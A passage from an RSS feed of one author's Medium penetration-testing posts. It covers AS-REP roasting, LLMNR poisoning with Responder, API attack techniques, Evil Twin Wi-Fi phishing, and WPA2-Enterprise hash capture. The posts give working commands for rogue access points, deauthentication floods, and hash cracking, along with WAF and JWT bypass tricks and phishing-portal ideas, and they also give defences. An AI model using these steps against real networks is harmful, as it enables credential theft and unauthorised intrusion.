/><figcaption>Providing username and password to confirm</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EOHeI4COYFTACXCiNOa5fQ.png" /><figcaption>Interactive Shell</figcaption></figure><p>BOOM WE GOT SHELL…</p><p><strong>Final Note</strong></p><p>This attack does not exploit a weakness in the user account itself.<br> The root cause is a Domain Controller configuration that allows Kerberos preauthentication to be disabled.</p><p>Because of this misconfiguration, the DC returns encrypted Kerberos authentication data as soon as a valid username is supplied — without first verifying the user’s password.</p><p>Once a valid username is identified, an attacker can request this data repeatedly and crack it offline using a wordlist.</p><p>In other words, the compromise occurs because the Domain Controller trusts misconfigured authentication behavior — not because the user made a mistake.</p><h3>Responsible Testing and Mitigation</h3><p>This demonstration was performed in a controlled lab environment to replicate a misconfiguration that is commonly discovered during real-world Active Directory security assessments.</p><p>Not every domain will be vulnerable to AS-REP Roasting.<br> However, accounts with Kerberos preauthentication disabled are frequently found in production environments — especially legacy and service accounts that were never revisited.</p><p>The attack itself does not exploit a flaw in Kerberos, but rather insecure authentication configuration.</p><h3>How to Prevent AS-REP Roasting</h3><p>Administrators should routinely audit for vulnerable accounts:</p><pre>Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}</pre><p>Any account returned should be reviewed immediately.</p><p>Best practices include:</p><p>• Re-enabling Kerberos preauthentication wherever possible<br> • Removing unnecessary legacy exceptions<br> • Enforcing long, complex service account passwords<br> • Monitoring unusual Kerberos authentication requests<br> • Performing regular Active Directory configuration reviews</p><p>Strong identity hygiene alone is enough to eliminate this attack path.</p><h3>Final Takeaway</h3><p>AS-REP Roasting highlights a core reality of modern enterprise breaches:</p><p>Attackers rarely need exploits — they abuse trust and misconfiguration.</p><p>A single overlooked checkbox can expose real domain credentials.</p><p>Regular auditing and secure authentication practice</p><p>THANK YOU :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=df533e6cd60e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Active Directory Pentesting: LLMNR Poisoning in a Real Network]]></title>
            <link>https://medium.com/@sachinkewat809/active-directory-pentesting-llmnr-poisoning-in-a-real-network-2aae1cb7e5be?source=rss-6f3453bf83f3------2</link>
            <guid isPermaLink="false">https://medium.com/p/2aae1cb7e5be</guid>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[llmnr-poisoning]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Sachin kewat]]></dc:creator>
            <pubDate>Sat, 21 Feb 2026 05:26:16 GMT</pubDate>
            <atom:updated>2026-02-21T07:47:16.794Z</atom:updated>
            <content:encoded><![CDATA[<p>During internal Active Directory assessments, one of the first things to look for is whether legacy name resolution protocols are still enabled. In many environments, LLMNR is left active by default — and it often leads to quick credential capture.</p><p>In this post, I’ll walk through how LLMNR poisoning works, how I tested it in a lab that mirrors real corporate setups, and why it’s still such an effective attack.</p><h3>What is LLMNR and Why It’s Dangerous</h3><p>LLMNR (Link-Local Multicast Name Resolution) is a fallback mechanism Windows uses when DNS cannot resolve a hostname.</p><p>Instead of querying a DNS server, the system broadcasts a request on the local network:</p><blockquote><em>“Who has SERVER01?”</em></blockquote><p>Any machine can respond — and there’s no authentication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/0*1cpCqvZ8aOTr6xGc.jpg" /><figcaption><a href="https://www.google.com/url?sa=t&amp;source=web&amp;rct=j&amp;url=https%3A%2F%2Fwww.sternsecurity.com%2Fblog%2Flocal-network-attacks-llmnr-and-nbt-ns-poisoning%2F&amp;ved=0CAMQjB1qFwoTCJiIqrX64JIDFQAAAAAdAAAAABAf&amp;opi=89978449">www.sternsecurity.com</a></figcaption></figure><blockquote>This means an attacker can simply reply pretending to be the requested host. When the victim connects, Windows automatically attempts NTLM authentication, leaking credential material.</blockquote><h3>Lets See Practical</h3><p>I used a small Active Directory lab with:<br>• One Domain Controller<br>• One Windows workstation<br>• One Kali Linux attacker system</p><h3>Setting Up the Test Environment:</h3><ol><li>Open <strong>System Properties</strong></li><li>Click <strong>Advanced System Settings</strong></li><li>Go to the <strong>Remote</strong> tab</li><li>Enable <strong>Allow remote connections to this computer</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JgrAx5q_S4w_JXMxtkGDpg.png" /></figure><h3>Identifying SMB Targets</h3><p>From Kali, I scanned the subnet to identify systems exposing SMB.</p><p>Both the domain controller and the user workstation were reachable and accepting SMB connections — perfect candidates for NTLM-based attacks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lRT-cHOACk4BQOI-JDaJHg.png" /></figure><p>This scans the entire subnet and shows which systems are alive and exposing SMB services.</p><h3>Launching Responder</h3><p>With the network mapped, I launched Responder to listen for LLMNR and NetBIOS name resolution traffic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PWhQphWH18xW5n2V6_LxKQ.png" /><figcaption>Responder Listner</figcaption></figure><p>Responder automatically spins up fake services (including SMB) and waits for victims to authenticate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w-uTpofZuOYZMCw-rijVIg.png" /><figcaption>Attacker Fake smb Share</figcaption></figure><h3>Triggering the Attack</h3><p>On the Windows workstation, I attempted to access a non-existent network share:</p><pre>\\anything</pre><p>(or \\anything.local)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OkSePUeAucLT-SpuAl0P7w.png" /></figure><p>Since no legitimate server existed, the system broadcast a name request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_DZox0ouesvzbiDUojUsTA.png" /></figure><h3>Capturing Credentials</h3><p>As soon as the connection was attempted, Responder logged:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a0v9228s7m3qWt_vhKQ3oA.png" /></figure><h3>At this point, the credentials could be:</h3><p>• Cracked offline<br> • Relayed to other internal services<br> • Used for lateral movement</p><p>All without exploiting a single vulnerability.</p><h3>Why This Still Works So Well</h3><p>LLMNR poisoning remains effective because:</p><p>• Enabled by default on many systems<br> • Requires no user interaction beyond normal network activity<br> • Leaves little obvious trace<br> • Works in a huge number of corporate environments</p><p>It’s often one of the fastest ways to gain a foothold during internal assessments.</p><h3>The Best Fix: Disable LLMNR Completely</h3><p>LLMNR serves little purpose in modern Active Directory environments that use proper DNS.</p><p>Step 1 — Open Group Policy Editor<br>Press:<br>Win + R → type:<br>gpedit.msc</p><p>Step 2 — Navigate to DNS Client settings<br>Go to:<br>Computer Configuration<br> → Administrative Templates<br> → Network<br> → DNS Client</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9U6BrRcerZcGhuoPvuDpZA.png" /></figure><h3>Step 3 — Disable Multicast Name Resolution</h3><p>Open:<br><strong>Turn off Multicast Name Resolution<br></strong>Set it to:<br><strong>Enabled<br></strong>(Enabled = LLMNR is turned off)</p><p>Apply and reboot the system or run a policy update.</p><h3>Real-World Security Baseline</h3><p>In properly hardened environments, you’ll usually see:</p><ul><li>LLMNR disabled</li><li>NetBIOS disabled</li><li>SMB signing enforced</li><li>NTLM usage limited</li></ul><p>Together, these controls shut down many of the most common internal attack paths.</p><p>Follow For More :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2aae1cb7e5be" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[API Pentesting: The Brutally Honest Guide They Don’t Teach You]]></title>
            <link>https://infosecwriteups.com/api-pentesting-the-brutally-honest-guide-they-dont-teach-you-c3073a38a977?source=rss-6f3453bf83f3------2</link>
            <guid isPermaLink="false">https://medium.com/p/c3073a38a977</guid>
            <category><![CDATA[api]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[red-teaming]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[api-security]]></category>
            <dc:creator><![CDATA[Sachin kewat]]></dc:creator>
            <pubDate>Fri, 05 Dec 2025 16:55:48 GMT</pubDate>
            <atom:updated>2025-12-05T16:55:48.144Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T0x4t2CNp5kRqcf_sojVsg.png" /></figure><p>I’m Sachin. For the past a quator, I’ve been breaking APIs that handle your money, your data, and your business logic. Banking backends, fintech payment rails, e-commerce platforms that move millions daily.</p><p>Here’s the truth most courses and certifications won’t tell you: <strong>APIs don’t break because of fancy payloads. They break because of broken assumptions.</strong> Assumptions about trust, about user behavior, about what’s “impossible.”</p><p>This guide comes straight from that reality.</p><h3>Rule #1: The UI Lies. The API Never Lies.</h3><p>The UI shows you the happy path — the sanitized, validated, user-friendly interface.<br>The API shows you the raw, unfiltered truth. The endpoints developers hoped you’d never find, the parameters they didn’t think to validate, the error messages that leak table names and server paths.</p><p>If you’re testing the UI, you’re guessing.<br>If you’re testing the API, you’re <em>hunting</em>.</p><h3>Recon: Where Real Pentesters Separate Themselves</h3><p>Good testers hack the endpoints they’re given.<br>Great testers <em>discover</em> the endpoints nobody meant to expose.</p><p>APIs leak in predictable, often overlooked places:</p><ul><li><strong>Developer Artifacts:</strong> /swagger, /api-docs, /openapi.json. Sometimes these are left enabled in staging and, <em>cringe</em>, production.</li><li><strong>Client-Side Code:</strong> JavaScript files are goldmines. Look for hardcoded base URLs, internal API routes, environment configs, and even test credentials in minified code.</li><li><strong>Mobile Apps:</strong> Pull apart the APK (Android) or IPA (iOS). Client secrets, API keys, and internal service routes often live here, “secured” by obscurity.</li><li><strong>The Proxy History:</strong> After manually walking through every app flow in Burp, look at your history. That sequence of calls <em>is</em> the business logic map.</li><li><strong>Error Messages:</strong> A 500 Internal Server Error that mentions a database table name or a backend file path isn&#39;t just a bug — it&#39;s a roadmap.</li><li><strong>Forgotten Files:</strong> robots.txt, sitemap.xml, even old backup files (.bak, .old) can list deprecated but still-active endpoints.</li></ul><p><strong>Tools That Actually Save Time:</strong></p><ul><li><strong>Burp Suite + Logger++:</strong> For capturing every request and response during recon.</li><li><strong>Postman:</strong> For organizing and replaying complex authenticated sequences.</li><li><strong>safesecureaudit.in :</strong> We bought best recon webiste to check.</li><li><strong>JSFinder:</strong> Scrapes JS files for endpoints and subdomains.</li><li><strong>APKTool/MobSF:</strong> For static analysis of mobile apps.</li></ul><p><strong>If you skipped recon, you didn’t pentest. You just executed someone else’s test cases.</strong></p><h3>Authentication &amp; Authorization: Where APIs Bleed Out</h3><p><strong>1️⃣ Broken User Authentication</strong><br> Developers add “lockout after 5 attempts”.<br> Attackers discover ?lockout=false or a missing rate limit and brute-force without restriction.</p><p><strong>2️⃣ Immortal Sessions</strong><br> Tokens that never die. Even after password change, logout, or device removal — the old token still works.<br> That’s basically handing attackers a lifetime membership.</p><p><strong>3️⃣ Predictable or Weak Tokens</strong><br> Example: JWT signed with a weak secret, or “encrypted” session tokens that decode to user_id=12345.<br> Once you understand the pattern, you can go hunting users sequentially.</p><p><strong>4️⃣ IDOR (Insecure Direct Object Reference)</strong><br> Modify user_id in the request and suddenly you&#39;re inside someone else’s profile.<br> The oldest flaw in the API universe — still everywhere.</p><p><strong>5️⃣ Horizontal → Vertical Privilege Escalation</strong><br> If the system trusts user input, it’s game over.<br> If you can be user_id=123, try user_id=0, user_id=1, or even role=admin.<br> You’ll be shocked how many APIs “upgrade” you without complaining.</p><p><strong>6️⃣ Endpoint-Level Authorization Holes</strong><br> Developers secure the “dangerous” endpoints… and forget the rest.<br> POST /api/admin/create-user might be protected — but GET /api/admin/list-users often isn’t.<br> Information leakage → privilege abuse → total compromise.</p><p><strong>What I Test Every. Single. Time:</strong></p><ol><li><strong>Token Replay:</strong> Does the access token die on password reset? On logout? Usually not.</li><li><strong>Verb Tampering:</strong> GET /api/user/delete/123 might be blocked. What about POST? Or PUT? Or a malformed DEL?</li><li><strong>Path Traversal:</strong> /api/v1/user/profile is authorized. What about /api/v1/admin/? /api/? /v1/?</li><li><strong>Parameter Pollution:</strong> ?role=user vs. ?role=admin vs. ?role=user&amp;role=admin. How does the backend interpret the <em>last</em> parameter?</li><li><strong>“Hidden” Parameters:</strong> Add &amp;admin=true or &amp;debug=1 to every request. You&#39;d be surprised.</li></ol><p>Half of the “secure” APIs I test fall right here.</p><h3>Business Logic Flaws: The Silent Money Drains</h3><p>This is where APIs lose <strong>real money</strong>. No scanner finds these and no CVE category can capture them — because business logic bugs depend on how the product works, not on signatures or payloads.</p><p>Here are the kinds of logic abuses I’ve personally found during API testing:</p><p><strong>🔹 Negative Amount Exploits</strong></p><p>Some payment and wallet APIs accept amount = -100 without sanity checks.<br> Instead of deducting money, the system <strong>credits</strong> the wallet because the backend assumes all amounts are positive.</p><p>One request turns into <strong>reverse payment</strong>.<br> That’s not a vulnerability — that’s a financial disaster.</p><p><strong>🔹 User Manipulation via Hidden Parameters</strong></p><p>Developers trust the client too much.<br> If the request body has something like:</p><pre>{<br>  &quot;user_id&quot;: 2003,<br>  &quot;points&quot;: 500,<br>  &quot;is_verified&quot;: false<br>}</pre><p>Changing is_verified or switching user_id to another profile grants access, rewards, or confirmations <strong>without touching authentication</strong>.</p><p><strong>🔹 Tampering Business Roles or Permissions</strong></p><p>If the system relies on the client to define roles, it falls apart.</p><p>Example request:</p><pre>&quot;role&quot;: &quot;customer&quot;</pre><p>Change it to:</p><pre>&quot;role&quot;: &quot;partner&quot;</pre><p>Suddenly:</p><ul><li>Higher cashback rate</li><li>Discount eligibility</li><li>Access to restricted endpoints</li></ul><p>Happens more than anyone will admit.</p><p><strong>🔹 Payment Validation Holes</strong></p><p>A lot of APIs <em>assume</em> the gateway will respond first before the order is marked successful.<br> Many times the workflow is reversed:</p><p>Place Order → Mark Success → Then Wait for Payment Confirmation</p><p>If you interrupt the callback or replay the request at the right time, you walk away with <strong>products without payment</strong>.</p><p><strong>🔹 Loyalty / Points Abuse</strong></p><p>APIs that award points before checking eligibility are gold mines.</p><p>Examples I’ve seen:</p><ul><li>Points credited before invoice status is validated</li><li>“First order reward” based only on phone number (new phone → new reward)</li><li>Refer-and-earn payout when the referred user cancels or never transacts</li></ul><p><strong>🔹 Sequence Manipulation</strong></p><p>Most APIs trust users to follow the front-end order of actions.<br> Attackers don’t.</p><p>If the intended order is:</p><pre>Step 1 — Create<br>Step 2 — Approve<br>Step 3 — Execute</pre><p>Try:</p><ul><li>Execute → Approve</li><li>Approve → Execute twice</li><li>Create → Execute directly</li></ul><p>You’ll be shocked how many APIs <strong>skip validation because they never expected someone to try it</strong>.</p><h3>Bypassing “Security” Features (The Fun Part)</h3><p>Every security control has a weak point if you know where to press.<br> The trick is <strong>not to admire the security feature — assume it’s badly implemented and attack the implementation, not the idea</strong>.</p><p>Here’s how that looks in real API testing:</p><p><strong>🧱 Web Application Firewall (WAF)</strong></p><p>Developers feel safe when a WAF is enabled.<br> Attackers smile — because WAFs can be bypassed in embarrassing ways:</p><ul><li>JSON nesting tricks →<br> { &quot;data&quot;: { &quot;data&quot;: { &quot;payload&quot;: &quot;&lt;attack&gt;&quot; }}}</li><li>Encodings the WAF doesn’t normalize (UTF-7, IBM037, Base64 inline)</li><li>Path fuzzing like:<br> /api/v1/%2e%2e/admin or /api//v1/admin</li></ul><p>A WAF only blocks what it understands. So give it things it <strong>doesn’t</strong> understand.</p><p><strong>⏱️ Rate Limiting</strong></p><p>Developers protect /api/login.<br> Attackers brute-force /api/forgot-password.</p><p>Most APIs rate-limit <strong>what developers fear</strong>, not <strong>what actually matters</strong>.<br> One unprotected endpoint is enough for credential stuffing, OTP attack, or DoS.</p><p><strong>🔐 Multi-Factor Authentication (MFA)</strong></p><p>The UI flow looks perfect — but attackers don’t use the UI.</p><p>If /api/verify-otp can be called directly, you can:</p><ul><li>brute-force the OTP</li><li>replay past OTPs</li><li>reuse OTPs when rate limiting is missing</li></ul><p>MFA is useless if the backend trusts the number without validating <strong>context</strong>.</p><p><strong>🧾 JWT “Security”</strong></p><p>JWTs are either secure or a disaster — there’s no middle ground.</p><p>Things I’ve actually seen:</p><ul><li>alg: none accepted in the header</li><li>kid header pointing to local files → LFI to key steal</li><li>Pathetic HMAC secrets: secret, changeme, company name</li><li>Backends that <strong>don’t verify token expiry</strong>, leaving tokens immortal</li></ul><p>If a system relies on JWT alone for authorization, test it like your life depends on it.</p><p><strong>🔒 Encryption (That Isn’t Encryption)</strong></p><p>A shocking number of APIs use “encryption” that’s just:</p><ul><li>Base64</li><li>Reversible XOR</li><li>ROT13</li><li>or hard-coded AES keys inside the mobile app</li></ul><p>If you can decode → modify → encode → send back → and it works,<br> then it was never secure in the first place.</p><p><strong>🧠 The Mindset Shift</strong></p><p>Don’t see a security feature and think:</p><blockquote><em>“Nice, this looks secure.”</em></blockquote><p>Instead, think:</p><blockquote><em>“Where did they cut corners implementing this?”</em></blockquote><p>Control bypasses happen not because the technology is weak,<br> but because <strong>developers implemented it lazily</strong>.</p><h3>My Go-To Toolkit (No Buzzwords, Just What Gets Results)</h3><p>This isn’t a “Top 50 tools for 2025” list.<br> These are the tools that are <strong>actually open in my browser when I’m pentesting an API</strong>.</p><p><strong>🔥 Intercept &amp; Modify</strong></p><p>Where everything starts.</p><ul><li><strong>Burp Suite Pro</strong> — the main weapon</li><li><strong>mitmproxy</strong> — when HTTP/2 or weird mobile traffic acts stupid</li><li><strong>Postman</strong> — when you need clean structured requests or full collections</li></ul><p><strong>🔍 Recon &amp; Endpoint Discovery</strong></p><p>Finding what wasn’t meant to be found.</p><ul><li><strong>Kiterunner</strong> — for smart endpoint bruteforcing</li><li><strong>Arjun</strong> — parameter discovery that actually works</li><li><strong>hakrawler</strong> — crawl JS and HTML to extract API routes</li></ul><p>If I skip recon, I guarantee I’ll miss vulnerabilities. Period.</p><p><strong>🚀 Fuzzing &amp; Bruteforce</strong></p><p>When you need to break assumptions, not endpoints.</p><ul><li><strong>ffuf</strong> — fast, reliable fuzzing</li><li><strong>Turbo Intruder</strong> — when you need async + sequence control for logic abuse</li></ul><p>Use fuzzing to <strong>ask the system questions the developers never asked</strong>.</p><p><strong>📱 Mobile API Analysis</strong></p><p>Mobile apps always leak backend secrets and flows.</p><ul><li><strong>Frida</strong> — runtime hooking to see the real API behavior</li><li><strong>Objection</strong> — quick assessments without full setup</li><li><strong>APKTool</strong> — extract endpoints, client logic, hard-coded keys</li></ul><p>If an API exists in a mobile app, the APK <strong>will</strong> expose it.</p><p><strong>🔑 Token &amp; Crypto Analysis</strong></p><p>If auth breaks, everything breaks.</p><ul><li><strong>jwt_tool</strong></li><li><strong>Jacksum</strong> (weak secret testing)</li><li><strong>Custom Python scripts</strong> (for replay, expiry, signature manipulation)</li><li>safesecureaudit.com</li></ul><p>Tokens cause more breaches than SQLi ever will.</p><p><strong>📁 Wordlists</strong></p><p>The right wordlist saves hours of guessing.</p><ul><li><strong>SecLists → /Discovery/Web-Content/apis/</strong></li><li><strong>Assetnote lists</strong> (yes, they are worth it)</li><li>Custom wordlists in my github account</li><li><strong>My own recon-generated lists</strong> (JS endpoints, parameter names, API nouns)</li></ul><p>I don’t believe in “universal” wordlists — custom ones get far more results.</p><p><strong>⚠️ Final Reminder</strong></p><p>Tools don’t make someone good.<br> <strong>Knowing why you’re using a tool — that’s the skill.</strong><br> Tools just multiply that skill.</p><h3>The Final Takeaway</h3><p>API pentesting isn’t about spraying payloads from a wordlist. It’s a mindset.</p><p>It’s about understanding:</p><ul><li><strong>How the application <em>thinks</em></strong> (its state, its sequences, its data flow).</li><li><strong>How the business <em>works</em></strong> (what’s valuable, what’s sequential, what’s trusted).</li><li><strong>Where the developers <em>assumed</em></strong> (that you wouldn’t find that endpoint, that you’d follow the steps, that you wouldn’t tamper with that token).</li></ul><p>Learn to <strong>map what’s hidden</strong>, <strong>break the trust models</strong>, <strong>exploit the business workflow</strong>, and <strong>bypass the “security”</strong> instead of testing against it.</p><p>Then you’re not just testing APIs.<br>You’re outsmarting them.</p><p>If this post helps, I’ll drop <strong>Part 2 — real API pentest case studies with Burp + Postman PoCs</strong>.<br> Let me know in the comments and I’ll release it. follow for more safesecureaudit.in</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c3073a38a977" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/api-pentesting-the-brutally-honest-guide-they-dont-teach-you-c3073a38a977">API Pentesting: The Brutally Honest Guide They Don’t Teach You</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ WiFi Pentesting in Real Environments — Part 3: Evil Twin Attacks & Wi-Fi Phishing for…]]></title>
            <link>https://osintteam.blog/wifi-pentesting-in-real-environments-part-3-evil-twin-attacks-wi-fi-phishing-for-2dca72f27bbd?source=rss-6f3453bf83f3------2</link>
            <guid isPermaLink="false">https://medium.com/p/2dca72f27bbd</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[wifi]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Sachin kewat]]></dc:creator>
            <pubDate>Sat, 12 Jul 2025 08:31:51 GMT</pubDate>
            <atom:updated>2025-07-13T16:33:37.163Z</atom:updated>
            <content:encoded><![CDATA[<h3>🔍 WiFi Pentesting in Real Environments — Part 3: Evil Twin Attacks &amp; Wi-Fi Phishing for Credentials</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SyTGyyFNw4D6TqGB" /></figure><h3>🕵️‍♂️ What Is an Evil Twin Attack?</h3><p>An <strong>Evil Twin</strong> is basically a <strong>rogue access point</strong> you create to impersonate a legit Wi-Fi network (same SSID, same security settings). The goal is simple:</p><blockquote><strong><em>Trick users into connecting and steal credentials or drop a payload.</em></strong></blockquote><p>This is <strong>one of the most effective real-world red team tactics</strong>, especially when paired with phishing portals or captive login pages.</p><h3>😈 Real-World Use Case</h3><p>You walk into a company’s lobby. Everyone’s phones are auto-connecting to “CorpGuest.” You fire up your own AP named “CorpGuest” on a stronger signal. Users start connecting to yours instead. Boom — now you’re the gatekeeper.</p><h3>Tools You Can Use</h3><ul><li>wifiphisher (all-in-one tool for phishing + AP setup)</li><li>airgeddon</li><li>eaphammer (also supports fake portals for enterprise)</li><li>hostapd, dnsmasq, and Apache/Nginx for manual setups</li></ul><h3>Evil Twin Setup with wifiphisher</h3><p>Super easy tool. Here’s the flow:</p><pre>sudo wifiphisher</pre><p>Choose:</p><ul><li>The legit AP you want to mimic</li><li>Attack type (e.g., “Firmware Upgrade Page”, “Login Portal”)</li></ul><p>It sets up:</p><ul><li>A fake AP with same SSID</li><li>A phishing page</li><li>DNS spoofing to redirect all traffic to your page</li></ul><h3>🎣 Phishing Payload Examples</h3><p>Depending on the target, you can:</p><ul><li>Capture Wi-Fi passwords (WPA2-PSK)</li><li>Steal enterprise credentials (username/password)</li><li>Drop malware (“Please update your browser”)</li><li>Harvest OAuth tokens or social logins</li></ul><h3>🧪 Custom Phishing Portal? Even Better.</h3><p>Want to flex? Create a cloned login page that looks like:</p><ul><li>Office 365 login</li><li>VPN login</li><li>Captive portal</li></ul><p>Then hook it to:</p><ul><li>responder or evilginx</li><li>Or just log submitted creds via a PHP backend</li></ul><h3>Defense Tips (As Always)</h3><ul><li>Enforce HTTPS and captive portal warnings</li><li>Train users not to enter passwords into Wi-Fi popups</li><li>Monitor for rogue APs with Wi-Fi IDS</li><li>Use <strong>EAP-TLS</strong> with proper cert validation in enterprise setups</li></ul><h3>🔚 Wrap-Up: Why Evil Twins Work So Well</h3><blockquote><em>Users trust Wi-Fi names way too easily.<br> Phones auto-connect without asking.<br> No one questions a “login page” popping up.<br> That’s why Evil Twins still work in 2025 — especially when you pair it with </em><strong><em>good phishing copy and realistic-looking portals</em></strong><em>.</em></blockquote><h3>🔜 Part 4 Preview: Bypassing Captive Portals &amp; Network Isolation</h3><p>Want to trap users after they connect? Or escape guest Wi-Fi and pivot deeper?</p><p>Let’s break that next 👇<br> Let me know when you’re ready for <strong>Part 4</strong>, or if you want this section rewritten in your tone or Medium-style!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2dca72f27bbd" width="1" height="1" alt=""><hr><p><a href="https://osintteam.blog/wifi-pentesting-in-real-environments-part-3-evil-twin-attacks-wi-fi-phishing-for-2dca72f27bbd">🔍 WiFi Pentesting in Real Environments — Part 3: Evil Twin Attacks &amp; Wi-Fi Phishing for…</a> was originally published in <a href="https://osintteam.blog/">OSINT Team</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ WiFi Pentesting in Real Environments — Part 2: Attacking WPA2-Enterprise (EAP) Wi-Fi Networks]]></title>
            <link>https://osintteam.blog/wifi-pentesting-in-real-environments-part-2-attacking-wpa2-enterprise-eap-wi-fi-networks-7784acb54219?source=rss-6f3453bf83f3------2</link>
            <guid isPermaLink="false">https://medium.com/p/7784acb54219</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[wifihacking]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Sachin kewat]]></dc:creator>
            <pubDate>Mon, 07 Jul 2025 14:48:51 GMT</pubDate>
            <atom:updated>2025-07-10T11:48:27.272Z</atom:updated>
            <content:encoded><![CDATA[<h3>🔍 WiFi Pentesting in Real Environments — Part 2: Attacking WPA2-Enterprise (EAP) Wi-Fi Networks</h3><p>While WPA2-PSK is common in home and small offices, real-world corporate environments use <strong>WPA2-Enterprise</strong>, which is based on <strong>802.1X</strong> and uses <strong>EAP (Extensible Authentication Protocol)</strong> for authentication. These networks don’t rely on a pre-shared key — instead, they authenticate users against a backend directory like <strong>Active Directory</strong> via <strong>RADIUS</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/0*siBy4mjMSDZWJKRU" /></figure><p>How WPA2-Enterprise Works</p><p><strong>Flow:</strong></p><ol><li>Client connects to SSID</li><li>Access Point acts as an authenticator</li><li>RADIUS server performs authentication via EAP (e.g., PEAP, EAP-TLS)</li><li>If valid, user is allowed on the network</li></ol><pre>[Client] ⇄ [AP] ⇄ [RADIUS] ⇄ [AD]<br>     (EAP)    (802.1X)     (Cred Check)</pre><h3>🔐Common EAP Types You’ll Encounter</h3><p>In most real-world corporate Wi-Fi networks, you’ll run into one of these EAP types:</p><ul><li><strong>EAP-PEAP with MSCHAPv2</strong> — This is by far the most common. It uses a username and password combo (often synced with Active Directory). The downside? It’s vulnerable if certificate validation isn’t enforced — meaning we can capture and crack the challenge-response hashes. This is the sweet spot for most Wi-Fi red teamers.</li><li><strong>EAP-TLS</strong> — Much more secure. This uses client certificates instead of passwords. Unless the org messes up cert deployment or reuse, this one’s basically uncrackable in the field. But most orgs don’t implement it because it’s harder to manage.</li><li><strong>EAP-TTLS</strong> — Not as common, but similar to PEAP. Still uses password-based auth, and can be vulnerable under certain misconfigs.</li></ul><p>In short: if you see <strong>PEAP + MSCHAPv2</strong>, that’s your entry point. If it’s <strong>EAP-TLS</strong>, better move on or switch tactics.</p><h3>🧰Tools You’ll Use</h3><ul><li>eaphammer ✅ (easiest all-in-one)</li><li>hostapd-wpe</li><li>bettercap (for advanced MITM)</li><li>asleap, john, hashcat for cracking</li></ul><h3>🎯Attack Strategy</h3><h4>Goal:</h4><p>Capture EAP challenge/response hashes → Crack → Reuse credentials.</p><h3>⚙️ Step-by-Step Attack Demo (Using eaphammer)</h3><h4>1. Setup Fake AP with EAP Support:</h4><pre>sudo eaphammer --interface wlan0 --channel 6 \<br>  --essid Corp-WiFi --auth wpa --wpa-type enterprise --creds</pre><p>✅ This creates a rogue access point mimicking the real SSID, and listens for enterprise clients.</p><p>It will <strong>automatically capture and dump MSCHAPv2 challenge-response hashes</strong> when a client connects to your rogue AP and attempts to authenticate.</p><h4>2. Wait for Auto-Connect / Deauth Legit AP</h4><p>Optionally trigger with:</p><pre>sudo aireplay-ng --deauth 100 -a &lt;AP_MAC&gt; wlan0</pre><p>✅ This forces devices to disconnect from legit AP and potentially reconnect to yours.</p><h3>📦Output You’ll Get (Sample EAP Hash)</h3><p>You’ll capture something like:</p><pre>[*] Captured EAP-MSCHAPv2 hash:<br>  username: jdoe<br>  challenge: ...<br>  response: ...</pre><h3>🔓Cracking the Hash</h3><p>Let’s assume we obtained the file during Step 1 using the Eaphammer attack.</p><h4>Option 1: asleap but we will use john</h4><pre>asleap -C &lt;challenge&gt; -R &lt;response&gt; -W wordlist.txt</pre><h4>Option 2: Convert for john</h4><pre>john --wordlist=rockyou.txt hash.txt</pre><p>✅ Once cracked, you now have <strong>valid corporate credentials</strong>.</p><h3>But Wait… How Do We Know What EAP Method the Network is Using?</h3><p>Before jumping in to attack a WPA2-Enterprise network, you gotta know <em>what you’re dealing with</em>. Not all enterprise Wi-Fi uses the same inner auth. Some are crackable (like <strong>PEAP with MSCHAPv2</strong>), and some (like <strong>EAP-TLS</strong>) are basically locked down.</p><p>So how do we figure that out?</p><h4>1. Check Connection Logs (Manual Way)</h4><p>If you try connecting using a tool like wpa_supplicant, run it in debug mode.</p><h4>2. Passive Sniffing</h4><p>No need to connect. Just run Wireshark while a real device connects to the network. Look for <strong>EAP types</strong> in the captured packets:</p><ul><li><strong>Type 25</strong> → PEAP</li><li><strong>Type 13</strong> → EAP-TLS</li><li><strong>Type 21</strong> → EAP-TTLS</li></ul><p>If you see 